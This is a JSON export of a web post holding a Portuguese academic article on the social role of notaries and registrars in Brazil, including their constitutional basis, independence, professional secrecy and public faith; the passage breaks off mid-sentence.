{"id":831,"date":"2018-07-04T15:01:54","date_gmt":"2018-07-04T18:01:54","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/artigo-a-importancia-da-atividade-notarial-e-registral-por-francielli-schmoller-e-fabrisia-franzoi\/"},"modified":"2018-07-04T15:01:54","modified_gmt":"2018-07-04T18:01:54","slug":"artigo-a-importancia-da-atividade-notarial-e-registral-por-francielli-schmoller-e-fabrisia-franzoi","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/artigo-a-importancia-da-atividade-notarial-e-registral-por-francielli-schmoller-e-fabrisia-franzoi\/","title":{"rendered":"Artigo \u2013 A import\u00e2ncia da atividade notarial e registral \u2013 Por Francielli Schmoller e Fabrisia Franzoi"},"content":{"rendered":"<div class=\"entry-content\">\n<p style=\"text-align: justify;\"><strong>RESUMO&nbsp;<\/strong><\/p>\n<p style=\"text-align: justify;\"><em>O presente artigo, em primeiro momento, apresenta a forma de ingresso na atividade de notas e registros, que &eacute; delegada atrav&eacute;s de concurso p&uacute;blico, assegurado pela Constitui&ccedil;&atilde;o Federal. As serventias extrajudiciais s&atilde;o &oacute;rg&atilde;os institu&iacute;dos pelo Estado, e em seu &acirc;mbito asseguram alguns princ&iacute;pios como a garantia do sigilo profissional, a f&eacute; p&uacute;blica, a seguran&ccedil;a jur&iacute;dica, a autenticidade e efic&aacute;cia dos atos jur&iacute;dicos, que reflete na presteza e efici&ecirc;ncia que s&atilde;o ofertadas nas serventias extrajudiciais. Em segundo momento, faz-se a an&aacute;lise da fun&ccedil;&atilde;o social que permeia o exerc&iacute;cio notarial e registral, bem como a evolu&ccedil;&atilde;o nesse &acirc;mbito de atividade jur&iacute;dica, em raz&atilde;o de a legisla&ccedil;&atilde;o reconhecer e abrir espa&ccedil;o para que as serventias possam servir de aux&iacute;lio na pr&aacute;tica de novos atos jur&iacute;dicos, o que vem ora fazendo.<\/em><br \/>\n&nbsp;<br \/>\n<em><strong>Palavras-chave<\/strong>: Notas; Registro; Serventias Extrajudiciais; Fun&ccedil;&atilde;o Social.<\/em><br \/>\n&nbsp;<br \/>\n<strong>ABSTRACT<\/strong><\/p>\n<p style=\"text-align: justify;\"><em>The present article, in the first moment, presents the form of entrance in the activity of notes and registers, that is delegated by means of public contest, assured by the Federal Constitution. Out-of-court services are bodies established by the State, and in their scope they ensure certain principles such as the guarantee of professional secrecy, public faith, legal certainty, authenticity and effectiveness of legal acts, which reflects in the speed and efficiency that are offered in the services extrajudicial decisions. Secondly, the analysis of the social function that permeates the notarial and registry exercise, as well as the evolution in this scope of legal activity, due to the legislation recognize and open space so that the services can serve as aid in the practice of new legal acts, what has been doing now.<br \/>\n&nbsp;<br \/>\n<strong>Keywords:<\/strong>&nbsp;Grades; Record; Extrajudicial Services; Social Funcion.<\/em><br \/>\n&nbsp;<br \/>\n<strong>INTRODU&Ccedil;&Atilde;O<\/strong><\/p>\n<p style=\"text-align: justify;\">Os not&aacute;rios e registradores alcan&ccedil;aram especial independ&ecirc;ncia no &acirc;mbito de sua atua&ccedil;&atilde;o, que &eacute; confiada pelo Estado, para assumir a pr&aacute;tica e formaliza&ccedil;&atilde;o de atos jur&iacute;dicos extrajudicialmente, sem interven&ccedil;&atilde;o do Poder Judici&aacute;rio. Para se habilitar em seu concurso p&uacute;blico, &eacute; necess&aacute;rio ter a titula&ccedil;&atilde;o de bacharel em Direito, ou conforme determina o art. 15, par&aacute;grafo 2&ordm; da Lei dos Not&aacute;rios e Registradores,&nbsp;<a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=MTE0MjE=#_ftn1\"><strong>[1]<\/strong><\/a>&nbsp;que tenha exercido 10 anos de carreira na atividade de notas e registro.<\/p>\n<p style=\"text-align: justify;\">Na forma de aplica&ccedil;&atilde;o da legisla&ccedil;&atilde;o, e da assist&ecirc;ncia jur&iacute;dica que oferecem as serventias extrajudiciais na pr&aacute;tica de seus servi&ccedil;os, n&atilde;o se pode deixar de lado a fun&ccedil;&atilde;o social que carregam esses profissionais. Entre os registros civis, escrituras e contratos muito pode se observar que a vida das pessoas passa pelas serventias extrajudiciais.<\/p>\n<p style=\"text-align: justify;\">Muitos ainda veem os not&aacute;rios\/registradores, com seu trabalho uma burocracia imposta pelo Estado para auferir lucros. Diga-se de passagem, qual a necessidade de um reconhecimento de firma, aquele simples carimbo no documento? Alguns infelizmente n&atilde;o notam qual a sua necessidade, percebendo ao nosso redor fraudes de que pessoas s&atilde;o v&iacute;timas, e das quais as serventias extrajudiciais desempenham o papel de preven&ccedil;&atilde;o, que oferecem em sua atividade e que ser&atilde;o apresentadas ao longo desse artigo.<\/p>\n<p style=\"text-align: justify;\">Ao discorrer sobre o exerc&iacute;cio da atividade notarial e registral deve-se refletir o quanto se evoluiu e ainda se abrem novos campos em sua atua&ccedil;&atilde;o. O legislador vem reconhecendo e dando espa&ccedil;o &agrave;s serventias extrajudiciais para formalizarem muitos dos atos que at&eacute; anos atr&aacute;s s&oacute; eram poss&iacute;veis pela via judicial, e atualmente podem ser feitos extrajudicialmente, trazendo in&uacute;meros benef&iacute;cios a quem procura, tem urg&ecirc;ncia, ou mesmo n&atilde;o quer recorrer ao judici&aacute;rio.<\/p>\n<p style=\"text-align: justify;\">A import&acirc;ncia da atividade notarial e registral &eacute; destaque em nosso cotidiano, e o que se tentar&aacute; apresentar neste artigo &eacute; uma pequena reflex&atilde;o da atua&ccedil;&atilde;o dos not&aacute;rios e registradores, bem como a sua fun&ccedil;&atilde;o social, expondo a sua import&acirc;ncia e os seus benef&iacute;cios em meio ao mundo atual.<\/p>\n<p style=\"text-align: justify;\"><strong>DO EXERC&Iacute;CIO DA ATIVIDADE NOTARIAL E REGISTRAL<\/strong><\/p>\n<p style=\"text-align: justify;\">Inicialmente cumpre destacar que o exerc&iacute;cio da atividade notarial e registral &eacute; exercido em car&aacute;ter privado, por delega&ccedil;&atilde;o do poder p&uacute;blico, e encontra previs&atilde;o expressa no artigo 236 da Constitui&ccedil;&atilde;o Federal<a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=MTE0MjE=#_ftn2\">[2]<\/a>. O Not&aacute;rio e Oficial de Registro s&atilde;o reconhecidos como profissionais do Direito, no exerc&iacute;cio daqueles servi&ccedil;os que s&atilde;o conhecidos pelos usu&aacute;rios por cart&oacute;rios, tais como os reconhecimentos de firma, a lavratura de escrituras, procura&ccedil;&otilde;es, protestos, ou ainda no &acirc;mbito do registro civil, os registros de nascimento, casamento e &oacute;bito, dentre tantos outros servi&ccedil;os de compet&ecirc;ncia da atividade, e que vem evoluindo cada vez mais. O legislador imp&ocirc;s a esses profissionais a obrigatoriedade de serem bachar&eacute;is em Direito, em raz&atilde;o das atividades desempenhadas e da essencialidade que seus atos sejam cumpridos a vista da legisla&ccedil;&atilde;o. (RIBEIRO NETO, 2008, p.17).<\/p>\n<p style=\"text-align: justify;\">A Constitui&ccedil;&atilde;o Federal, em seu artigo 236, par&aacute;grafo 3&ordm;<a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=MTE0MjE=#_ftn3\">[3]<\/a>, estabeleceu que o ingresso na atividade deve ser feito atrav&eacute;s de concurso p&uacute;blico democr&aacute;tico e que prestigia a dedica&ccedil;&atilde;o e compet&ecirc;ncia, como forma de ingresso na atividade de notas ou registro. (SOUZA, 2017, p. 25).<\/p>\n<p style=\"text-align: justify;\">O profissional deve se servir de um m&eacute;todo apropriado para conhecer as situa&ccedil;&otilde;es jur&iacute;dicas concretas que constituem a mat&eacute;ria de sua atividade funcional, por raz&atilde;o disso, considerado profissional do Direito. A formaliza&ccedil;&atilde;o do Direito basicamente possui caracter&iacute;sticas gerais que podem ser encontradas tanto na tarefa da investiga&ccedil;&atilde;o dos fatos como na valora&ccedil;&atilde;o jur&iacute;dica dos mesmos. (RIBEIRO NETO, 2008, p. 26).<\/p>\n<p style=\"text-align: justify;\">A Constitui&ccedil;&atilde;o Federal, por&eacute;m atribuiu &agrave; Uni&atilde;o compet&ecirc;ncia privativa para legislar sobre os registros p&uacute;blicos. A lei n. 6.015\/73, vigente a partir de 1&ordm; de janeiro de 1976, trouxe o regime dos servi&ccedil;os registrais que disp&otilde;e. Os servi&ccedil;os atinentes aos registros relacionados no art. 1&ordm;<a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=MTE0MjE=#_ftn4\">[4]<\/a>&nbsp;da referida lei, qual sejam eles o registro civil das pessoas naturais e jur&iacute;dicas, os t&iacute;tulos e documentos e o registro de im&oacute;veis, s&atilde;o desempenhados em serventias confiadas a delegados do Poder P&uacute;blico. Vale ressaltar que a estes o Estado delega a fun&ccedil;&atilde;o de receber, conferir e transpor para os livros declara&ccedil;&otilde;es orais ou escritas sobre fatos jur&iacute;dicos e neg&oacute;cios dos interessados ou apresentantes. A partir de ent&atilde;o, passam ao conhecimento de todos os que queiram ou devam ser informados a respeito de tais documentos, exceto os submetidos, por lei, ao sigilo. (CENEVIVA, 2010, p. 54\/55).<\/p>\n<p style=\"text-align: justify;\">A atividade de registro, embora exercida em car&aacute;ter privado, tem caracter&iacute;sticas t&iacute;picas do servi&ccedil;o p&uacute;blico. As serventias extrajudiciais s&atilde;o confiadas &agrave; responsabilidade de delegados, aos quais o Estado incumbe, para alcan&ccedil;ar os efeitos jur&iacute;dicos, conferir e transportar os registros dos usu&aacute;rios, e assim dar conhecimentos e formalizar neg&oacute;cios a terceiros atrav&eacute;s de certid&otilde;es. O termo delega&ccedil;&atilde;o vincula-se &agrave; pessoa que se substitui por outra. Delega&ccedil;&atilde;o &eacute; atribu&iacute;da &agrave; pessoa para desempenhar as fun&ccedil;&otilde;es de aplica&ccedil;&atilde;o da legisla&ccedil;&atilde;o, como ocorre na atividade notarial e registral. (CENEVIVA, 2010, p. 57).<\/p>\n<p style=\"text-align: justify;\">O not&aacute;rio e registrador desempenham suas fun&ccedil;&otilde;es na forma de representar o Estado, pois &eacute; quem lhe delega o cargo, sendo um profissional do Direito necessita conhecer do universo jur&iacute;dico em suas orienta&ccedil;&otilde;es e assessoramento com base na lei, dessa forma concretizando o ato jur&iacute;dico na forma legal. Nos dias atuais criam-se situa&ccedil;&otilde;es jur&iacute;dicas para as quais nem sempre h&aacute; uma previs&atilde;o legal exata, e para essas situa&ccedil;&otilde;es deve buscar-se uma forma jur&iacute;dica apropriada, capaz de assegurar que n&atilde;o sejam violados os preceitos constitucionais, quanto menos de descumprir a legisla&ccedil;&atilde;o, o que perfeitamente atendem as serventias extrajudiciais.<\/p>\n<p style=\"text-align: justify;\">Faz-se pertinente mencionar que os not&aacute;rios e registradores cumprem o seu mister em apresentar a solu&ccedil;&atilde;o adequada ao usu&aacute;rio, ao passo que examinam doutrinas, jurisprud&ecirc;ncias, enunciados e tudo ao seu alcance buscando atuar da forma correta e principalmente exalando pela seguran&ccedil;a jur&iacute;dica, o que auxilia na concretiza&ccedil;&atilde;o e formaliza&ccedil;&atilde;o da vontade das partes.<\/p>\n<p style=\"text-align: justify;\">Atualmente o mundo jur&iacute;dico &eacute; composto de entendimentos por vezes distintos, ao passo que as serventias extrajudiciais tem ao seu alcance a possibilidade de prever lit&iacute;gios, concretizar os atos e neg&oacute;cios, evitando com que as partes necessitem recorrer ao judici&aacute;rio, e por vezes aguardar muito tempo por uma resposta a seu caso concreto. &Eacute; not&aacute;vel como os servi&ccedil;os notariais e registrais s&atilde;o essenciais &agrave; vida dos cidad&atilde;os, formalizam vontades, e buscam promover acima de tudo a seguran&ccedil;a jur&iacute;dica ao ato.<\/p>\n<p style=\"text-align: justify;\">No cumprimento do exerc&iacute;cio da atividade notarial ou registral, os profissionais emitem o ju&iacute;zo de valor quando acolhem o ato ou fato jur&iacute;dico, refor&ccedil;ando a certeza de sua legalidade, observa-se aqui a import&acirc;ncia e responsabilidade desempenhada na sua atua&ccedil;&atilde;o. O ju&iacute;zo de valor tem car&aacute;ter formal, afirma a data, a identidade dos interessados no documento e no registro, com a correspondente qualifica&ccedil;&atilde;o que a assegura, e com a capacidade para pr&aacute;tica do ato, a natureza jur&iacute;dica do neg&oacute;cio escriturado ou registrado e a compatibilidade com a lei vigente, essenciais a confirma&ccedil;&atilde;o correta do ato. (CENEVIVA, 2010, p. 55).<\/p>\n<p style=\"text-align: justify;\"><strong>A INDEPEND&Ecirc;NCIA DOS NOT&Aacute;RIOS E REGISTRADORES<\/strong><\/p>\n<p style=\"text-align: justify;\">A atividade notarial e registral confere, a partir do momento que o titular assume uma serventia, que lhe &eacute; imposto, pelo dever de zelar pela seguran&ccedil;a jur&iacute;dica m&aacute;xima, do aconselhamento e orienta&ccedil;&atilde;o &agrave;s partes, sob a &oacute;tica dos seus atos, cabendo ao Poder Judici&aacute;rio a fiscaliza&ccedil;&atilde;o da sua atua&ccedil;&atilde;o que ora o faz.<\/p>\n<p style=\"text-align: justify;\">Profissionais dotados de caracter&iacute;sticas que se incorporam a partir do in&iacute;cio de sua jornada de trabalho seja ela de preposto escrevente ao titular, aqueles que exercem a pr&aacute;tica dos atos em uma serventia extrajudicial, carregam uma bagagem de conhecimento jur&iacute;dico, pois in&uacute;meras s&atilde;o as experi&ecirc;ncias compartilhadas ao dia a dia dos usu&aacute;rios que confiam seus interesses, al&eacute;m de receberem responsabilidades consigo, e incumbidos da pr&aacute;tica de princ&iacute;pios que norteiam o exerc&iacute;cio da atividade notarial e registral pela sua relev&acirc;ncia.<\/p>\n<p style=\"text-align: justify;\">&Eacute; o que leciona a doutrina:<br \/>\n&nbsp;<br \/>\nOs princ&iacute;pios &eacute;ticos abrangem os demais limites e obrigam o exerc&iacute;cio da profiss&atilde;o com desinteresse, imparcialidade, sigilo e discri&ccedil;&atilde;o, com a m&aacute;xima prud&ecirc;ncia e dilig&ecirc;ncia, mas com total dedica&ccedil;&atilde;o e compromisso com o interesse coletivo. Em suma, esses s&atilde;o os principais limites que se colocam para a independ&ecirc;ncia funcional e pessoal de not&aacute;rios e registradores no exerc&iacute;cio da profiss&atilde;o. Aconselhando, orientando, fiscalizando dentro do esp&iacute;rito da lei, not&aacute;rios e registradores cumprem sua miss&atilde;o de fornecer confian&ccedil;a &agrave; sociedade. (LAMANAUSKAS, 2016, p. 176).<br \/>\n&nbsp;<br \/>\nAo tratar do princ&iacute;pio da independ&ecirc;ncia profissional, rege-se pela capacidade em condicionar e orientar em sua atua&ccedil;&atilde;o. Vincula-se ao interesse social, de forma a revelar o comprometimento do livre exerc&iacute;cio da profiss&atilde;o que implica a sua fun&ccedil;&atilde;o social. A independ&ecirc;ncia se revela ao fato que n&atilde;o est&aacute; o not&aacute;rio ou registrador submetendo-se a uma autoridade estatal, praticando-se os atos sob a &eacute;gide da lei, mas n&atilde;o que estejam subordinados, apenas sob a fiscaliza&ccedil;&atilde;o do poder judici&aacute;rio. (LAMANAUSKAS, 2016, p. 154).<\/p>\n<p style=\"text-align: justify;\">Argumenta-se, que a independ&ecirc;ncia funcional do not&aacute;rio e registrador, n&atilde;o tem rela&ccedil;&atilde;o ao car&aacute;ter privado do exerc&iacute;cio, mas sim, a pr&oacute;pria natureza da atividade, e sua finalidade. O not&aacute;rio instrumentaliza a vontade das partes por meio dos atos jur&iacute;dicos, o registrador concede a inscri&ccedil;&atilde;o e a preserva&ccedil;&atilde;o dos direitos perante a si e a terceiros. (LAMANAUSKAS, 2016, p. 159)<\/p>\n<p style=\"text-align: justify;\">A independ&ecirc;ncia assegurada aos not&aacute;rios e registradores &eacute; relativa, ao passo que n&atilde;o exercem suas nobres fun&ccedil;&otilde;es em nome pr&oacute;prio, mas por delega&ccedil;&atilde;o do Poder P&uacute;blico. Em raz&atilde;o de disposi&ccedil;&atilde;o constitucional est&atilde;o sujeitos a fiscaliza&ccedil;&atilde;o quanto a pr&aacute;tica de seus atos. Como a todo profissional, aos not&aacute;rios e registradores devem nortear princ&iacute;pios &eacute;ticos como a lealdade e a boa f&eacute; presentes em sua carreira profissional. (SWENSSON, 2006, p. 17)<\/p>\n<p style=\"text-align: justify;\">Considerados profissionais do Direito, com independ&ecirc;ncia jur&iacute;dica, devem os not&aacute;rios e registradores praticar os atos solicitados pelos usu&aacute;rios e autorizados pela lei, cabendo-lhes dar a correta interpreta&ccedil;&atilde;o jur&iacute;dica aos dispositivos legais aplic&aacute;veis. S&atilde;o &ocirc;nus do exerc&iacute;cio da fun&ccedil;&atilde;o. O que devem e efetivamente fazem, &eacute; debater e analisar os avan&ccedil;os legislativos em seus institutos de estudo, para que sua atua&ccedil;&atilde;o seja sempre visando &agrave; plenitude da seguran&ccedil;a. (SOUZA, 2017, p. 260).<\/p>\n<p style=\"text-align: justify;\"><strong>DO SIGILO PROFISSIONAL<\/strong><\/p>\n<p style=\"text-align: justify;\">Destarte, os atos praticados nas serventias extrajudiciais que s&atilde;o realizados, devem obedecer ao princ&iacute;pio da publicidade, por&eacute;m ao conhecer de situa&ccedil;&otilde;es trazidas e confidenciadas pelos usu&aacute;rios ao dia a dia, o not&aacute;rio exerce a chamada indaga&ccedil;&atilde;o notarial, por meio da qual se torna um confidente das partes, que lhe confiam informa&ccedil;&otilde;es sigilosas, e por quantas vezes familiares, sendo de relevante import&acirc;ncia o sigilo profissional a esses casos. (RIBEIRO NETO, 2008, p. 26).&nbsp;<\/p>\n<p style=\"text-align: justify;\">Com rela&ccedil;&atilde;o &agrave; preserva&ccedil;&atilde;o do sigilo, a mencionar a lei dos not&aacute;rios e registradores, leciona:<br \/>\n&nbsp;<br \/>\nO tabeli&atilde;o dar&aacute; particular aten&ccedil;&atilde;o, considerado o rol de seus deveres previstos na LNR, ao conte&uacute;do emocional, detectado mesmo em atos consensuais que, sob apar&ecirc;ncia de acordo, envolvem ressentimentos e d&uacute;vidas (..) a preservar assuntos relativos ao direito de fam&iacute;lia na intimidade do grupo familiar. (CENEVIVA, 2010, p. 68)<br \/>\n&nbsp;<br \/>\nH&aacute; de se ressaltar que os atos praticados nas serventias extrajudiciais, originam documentos p&uacute;blicos, ou seja, pass&iacute;veis de acesso aos usu&aacute;rios atrav&eacute;s de certid&otilde;es, sejam de escrituras p&uacute;blicas, procura&ccedil;&otilde;es, e outras, com a exce&ccedil;&atilde;o dos testamentos, pois a lei j&aacute; imp&otilde;e a confidencialidade e a preserva&ccedil;&atilde;o do documento na serventia. Com rela&ccedil;&atilde;o &agrave; publicidade dos atos, deve ficar evidente que as informa&ccedil;&otilde;es confidenciadas ao profissional ou a seus prepostos, devem ser mantidas em sigilo, acima de tudo zelando pela seguran&ccedil;a jur&iacute;dica que deve ser legitimada na pr&oacute;pria serventia, visto que &eacute; imprescind&iacute;vel o sigilo profissional a casos concretos, haja vista a responsabilidade do not&aacute;rio, envolvendo informa&ccedil;&otilde;es que lhe foram confidenciadas.<\/p>\n<p style=\"text-align: justify;\">Como j&aacute; mencionado, esses profissionais assessoram, escutam, aconselham, indicam e apresentam os caminhos jur&iacute;dicos poss&iacute;veis aos usu&aacute;rios, na forma da lei. Destacando que a eles, deve ser garantida a quest&atilde;o do sigilo, para que exista a confian&ccedil;a entre o usu&aacute;rio e o profissional da serventia, e n&atilde;o que haja o receio de serem prejudicados, e suas particularidades compartilhadas, pois &eacute; nesse norte que apresenta a relev&acirc;ncia dos prestadores de servi&ccedil;os nas serventias extrajudiciais e sua &eacute;tica profissional.<\/p>\n<p style=\"text-align: justify;\"><strong>DA F&Eacute; PUBLICA<\/strong><\/p>\n<p style=\"text-align: justify;\">&Eacute; atrav&eacute;s desse princ&iacute;pio que os profissionais da &aacute;rea notarial e registral exercem a sua fun&ccedil;&atilde;o. Destaca-se, pensando a aplica&ccedil;&atilde;o do Direito na atividade, que se inicia por meio da interpreta&ccedil;&atilde;o, n&atilde;o apenas de executor da lei, mas antes de executar, interpretar nos limites da sua compet&ecirc;ncia, procurando a cada momento superar os desafios impostos a atua&ccedil;&atilde;o desses profissionais. (LAMANAUSKAS, 2016, p. 156).<\/p>\n<p style=\"text-align: justify;\">Extrai-se o conceito de f&eacute;-p&uacute;blica no &acirc;mbito notarial e registral, segundo a doutrina:<br \/>\n&nbsp;<br \/>\nNot&aacute;rios e registradores s&atilde;o testemunhos da verdade. Quem diz que eles o s&atilde;o &eacute; o Poder P&uacute;blico, pois delegou sua autoridade de dizer que &eacute; verdadeiro e aut&ecirc;ntico a estes profissionais, outorgou-lhes o poder de dar f&eacute; de forma p&uacute;blica. Logo ao atributo da f&eacute;, ao ato de se &ldquo;dizer a verdade&rdquo;, est&aacute; acoplada a autoridade p&uacute;blica. A f&eacute; &eacute; p&uacute;blica porque oriunda da lei, de um interesse social juridicamente positivado. Com a delega&ccedil;&atilde;o deste poder por meio da lei, o testemunho de quem o det&eacute;m passa a ser &ldquo;publicamente qualificado.&rdquo; (LAMANAUSKAS, 2016, p. 157).&nbsp;<br \/>\n&nbsp;<br \/>\nO princ&iacute;pio da f&eacute; p&uacute;blica est&aacute; intimamente ligado &agrave; seguran&ccedil;a jur&iacute;dica que permeia a atividade notarial e registral. A finalidade com que a sociedade almeja quando decide conceder a algu&eacute;m o poder de dizer o que &eacute; certo e verdadeiro. Ricardo Dip, leciona, afirmando que a &ldquo;f&eacute; p&uacute;blica, pois, &eacute; exig&ecirc;ncia da seguran&ccedil;a jur&iacute;dica e da paz social&rdquo;, correspondendo a um interesse p&uacute;blico. A seguran&ccedil;a jur&iacute;dica &eacute; elemento essencial da fun&ccedil;&atilde;o social do not&aacute;rio e registrador, um instrumento da sociedade de garantia dos direitos constitucionalmente postos. (LAMANAUSKAS, 2016, p. 158).<\/p>\n<p style=\"text-align: justify;\">A f&eacute; p&uacute;blica abona a certeza e a verdade dos assentamentos e documentos que not&aacute;rio e oficial de registro praticam, por meio das certid&otilde;es expedidas, como a exemplo expressamente traz o art. 215 do C&oacute;digo Civil Brasileiro,<a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=MTE0MjE=#_ftn5\">[5]<\/a>&nbsp;atribuindo a f&eacute; p&uacute;blica &agrave; escritura lavrada em Tabelionato como documento que faz prova plena, do que naquela cont&eacute;m. Destaca-se, dentre os requisitos contidos no dispositivo, exigidos para comprova&ccedil;&atilde;o do neg&oacute;cio jur&iacute;dico em ju&iacute;zo e fora dele. A referida lei dos not&aacute;rios e registradores, precisamente no art. 3&ordm;, menciona, &ldquo;a f&eacute; p&uacute;blica &eacute; atributo pessoal das fun&ccedil;&otilde;es de not&aacute;rio e registrador, pelos atos que praticar no exerc&iacute;cio delas, por a&ccedil;&atilde;o pr&oacute;pria ou confirmat&oacute;ria dos atos de seus prepostos&rdquo;. (CENEVIVA, 2010, p. 51).<\/p>\n<p style=\"text-align: justify;\">O instituto da f&eacute; p&uacute;blica corresponde &agrave; especial confian&ccedil;a atribu&iacute;da por lei ao que o oficial declare ou fa&ccedil;a, no exerc&iacute;cio da fun&ccedil;&atilde;o, com presun&ccedil;&atilde;o de verdade. Destacada, pela afirma&ccedil;&atilde;o da efic&aacute;cia do neg&oacute;cio jur&iacute;dico ajustado com base no declarado ou praticado pelo registrador e pelo not&aacute;rio. (CENEVIVA, 2010, p. 64).<\/p>\n<p style=\"text-align: justify;\">Com rela&ccedil;&atilde;o ao princ&iacute;pio da f&eacute; p&uacute;blica, aos atos que presumem verdadeiras as informa&ccedil;&otilde;es contidas no registro quanto &agrave; sua forma&ccedil;&atilde;o e em rela&ccedil;&atilde;o aos fatos que ocorreram na presen&ccedil;a do not&aacute;rio ou registrador. Presume-se, pois, que as pessoas comparecem &agrave; sua presen&ccedil;a e exibiram documentos &agrave; lavratura do ato, fizeram as declara&ccedil;&otilde;es de vontade que est&atilde;o ali contidas. Por&eacute;m, a veracidade das declara&ccedil;&otilde;es feitas pelos que compareceram ao ato, s&atilde;o de responsabilidade daqueles que as fizeram. N&atilde;o se presumem verdadeiras pelo simples fato de haverem sido prestadas perante o Oficial de Registro. O que se presume verdadeira &eacute; a afirma&ccedil;&atilde;o do Oficial quanto a aquilo que presenciou e registrou. Tal presun&ccedil;&atilde;o de veracidade, n&atilde;o abrange o conte&uacute;do das manifesta&ccedil;&otilde;es de vontade por ele registradas. (SWENSSON, 2006, p. 36).<\/p>\n<p style=\"text-align: justify;\">Assim, a f&eacute; p&uacute;blica &eacute; imposta ao oficial e not&aacute;rio, para que transcrevam e confirmem os registros e neg&oacute;cios jur&iacute;dicos, n&atilde;o est&aacute; afirmando a veracidade dos fatos, ele tem responsabilidade pelo que transcreve e registra para que seja conforme, o que lhe foi apresentado e dado conhecimento, j&aacute; quanto &agrave; veracidade das informa&ccedil;&otilde;es, estas s&atilde;o de inteira responsabilidade das partes comparecentes.<\/p>\n<p style=\"text-align: justify;\">Ainda, quanto aos documentos que lhe s&atilde;o apresentados, o tabeli&atilde;o ou registrador, a exemplo reconhece de cuja identidade para o ato d&aacute; f&eacute;, afirmando as partes serem capazes para aquele ato civil. O ato de dar f&eacute; &eacute; confirmar autenticidade, o que muito not&aacute;vel &eacute; na serventia, a exemplo dos reconhecimentos de firma, a lavratura de escrituras, procura&ccedil;&otilde;es, no qual se confere a assinatura do signat&aacute;rio, transcreve-se o neg&oacute;cio jur&iacute;dico, formaliza-se a vontade e colhe a assinatura das partes pela maneira de garantir a finaliza&ccedil;&atilde;o do ato de forma segura.<\/p>\n<p style=\"text-align: justify;\"><strong>SEGURAN&Ccedil;A JUR&Iacute;DICA, AUTENTICIDADE E EFIC&Aacute;CIA<\/strong><\/p>\n<p style=\"text-align: justify;\">Ao estudar a Lei n. 6.015\/73, art.1&ordm;,&nbsp;<a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=MTE0MjE=#_ftn6\">[6]<\/a>&nbsp;que disciplina sobre os Registros P&uacute;blicos, e tamb&eacute;m a Lei n. 8.935\/94, art. 1&ordm;,&nbsp;<a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=MTE0MjE=#_ftn7\">[7]<\/a>&nbsp;que &eacute; espec&iacute;fica dos Not&aacute;rios e Registradores, veja-se que elas trazem em sua previs&atilde;o que os servi&ccedil;os notariais e registrais obedecem determina&ccedil;&otilde;es, para que seus atos sejam assegurados pela autenticidade, efic&aacute;cia e a seguran&ccedil;a plena, que assim oferece uma serventia extrajudicial na formaliza&ccedil;&atilde;o de atos, registros e neg&oacute;cios jur&iacute;dicos.<\/p>\n<p style=\"text-align: justify;\">Os servi&ccedil;os previstos na Lei dos Registros P&uacute;blicos n&atilde;o apenas garantem a efic&aacute;cia e seguran&ccedil;a, bem como conferem a autenticidade dos atos jur&iacute;dicos, ao profissional da serventia por meio da sua delega&ccedil;&atilde;o, cabendo, por exemplo, registrar a ocorr&ecirc;ncia de fatos como o registro nascimento, o casamento, o &oacute;bito, e entre outras poss&iacute;veis ocorr&ecirc;ncias procuradas como a emancipa&ccedil;&atilde;o e a interdi&ccedil;&atilde;o que s&atilde;o em alguns casos concretos solicitadas. Denota-se, portanto a import&acirc;ncia desses registros na vida dos cidad&atilde;os, e como s&atilde;o necess&aacute;rios esses servi&ccedil;os na forma de concretizando de demais neg&oacute;cios jur&iacute;dicos. (SWENSSON, 2006, p. 64).<\/p>\n<p style=\"text-align: justify;\">Destaque ao que leciona Swensson sobre esses princ&iacute;pios:<\/p>\n<p style=\"text-align: justify;\">Imp&otilde;e-se enfatizar que as serventias extrajudiciais, institu&iacute;das pelo Poder P&uacute;blico para o desempenho de fun&ccedil;&otilde;es t&eacute;cnico administrativas destinadas &ldquo;a garantir a publicidade, autenticidade, seguran&ccedil;a e efic&aacute;cia dos atos jur&iacute;dicos&rdquo; (Lei n. 8.935\/1994, art. 1&ordm;), constituem &oacute;rg&atilde;os p&uacute;blicos titularizados por agentes que se qualificam, na perspectiva das rela&ccedil;&otilde;es que mant&eacute;m com o Estado, como t&iacute;picos servidores p&uacute;blicos. (SWENSSON, 2006, p. 64).<br \/>\n&nbsp;<br \/>\nAo tratar desses princ&iacute;pios que regem a atividade desempenhada pelas serventias extrajudiciais, destaca-se: Autenticidade como a qualidade do que &eacute; confirmado por ato de autoridade: de coisa, documento ou declara&ccedil;&atilde;o verdadeira. O registro cria presun&ccedil;&atilde;o relativa de verdade. &Eacute; retific&aacute;vel, e, por ser o oficial um receptor da declara&ccedil;&atilde;o de terceiros, que examina segundo crit&eacute;rios predominantemente formais, n&atilde;o alcan&ccedil;a o registro o fim que lhe &eacute; determinado pela defini&ccedil;&atilde;o legal: n&atilde;o d&aacute; autenticidade ao neg&oacute;cio causal ao fato ou ato jur&iacute;dico de que se origina. S&oacute; o pr&oacute;prio registro tem autenticidade. Ao termo seguran&ccedil;a, considerada como liberta&ccedil;&atilde;o do risco, &eacute;, em parte, atingida pelos registros p&uacute;blicos. Aperfei&ccedil;oando-se seus sistemas de controle e sendo obrigat&oacute;rias as remiss&otilde;es rec&iacute;procas, tendem a constituir malha firme e completa de informa&ccedil;&otilde;es. A efic&aacute;cia &eacute; a aptid&atilde;o de produzir efeitos jur&iacute;dicos, cal&ccedil;ada na seguran&ccedil;a dos assentos, na autenticidade dos neg&oacute;cios e declara&ccedil;&otilde;es para eles transpostos. O registro, propiciando publicidade em rela&ccedil;&atilde;o a todos os terceiros, no sentindo mais amplo, produz o efeito de afirmar a boa-f&eacute; dos que praticam atos jur&iacute;dicos baseados na presun&ccedil;&atilde;o de certeza daqueles assentamentos. (CENEVIVA, 2010, p.55).<\/p>\n<p style=\"text-align: justify;\">Importante destacar que a publicidade, autenticidade, seguran&ccedil;a, e a efic&aacute;cia que norteiam a atividade de notas e registro 